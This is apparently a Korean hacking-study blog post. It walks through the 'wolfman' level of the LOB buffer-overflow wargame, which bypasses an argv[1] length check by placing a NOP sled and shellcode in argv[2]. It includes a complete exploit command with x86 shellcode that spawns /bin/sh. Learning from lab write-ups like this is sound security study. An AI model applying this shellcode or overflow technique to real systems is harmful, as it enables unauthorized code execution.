본문 바로가기

해킹공부/lob

wolfman

판타지 소설로 치닫고 있는 lob

이번엔 늑대인간 코드다 ( password도 늑대인간스럽다. )

이번엔 argv[1]의 길이를 체크해준다.

이걸 우회할 방법을 이것저것 생각해봤다.

 

1. buffer에 shellcode

0x90이 많이 안들어가서 segmentation 오류가 계속 난다.

2.  "A"*44+"주소"+"0x00"+"\x90"*200+"쉘코드"

해보니까 0x00뒤론 그냥 안들어간다.

 

삽질하다 검색으로 찾은 방법은 argv[2]이다.

결국 argv도 main의 parameter니까 ebp뒤에 있을거다.

argv[2]에 쉘코드를 넣고 이 주소로 jump시키면 쉘코드를 실행할 것이다.

argv에 \xbf를 48개 넣고 " "를 넣은 뒤 0x90을 200개 넣어보았다.

ebp부터 쭉 찾아보니 90909090이 있다.

저 주소중 하나로 RET를 overflow시키면 되겠다.

./darkelf `python -c 'print "A"*44 + "\xd0\xfb\xff\xbf " + "\x90"*200 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`

할 때마다 느끼지만 머리로 계산한게 실제로 작동하는게 참 신기하다.

'해킹공부 > lob' 카테고리의 다른 글

orge  (0) 2017.10.19
darkelf  (0) 2017.10.18
orc  (0) 2017.10.17
goblin  (0) 2017.10.17
cobolt  (0) 2017.10.13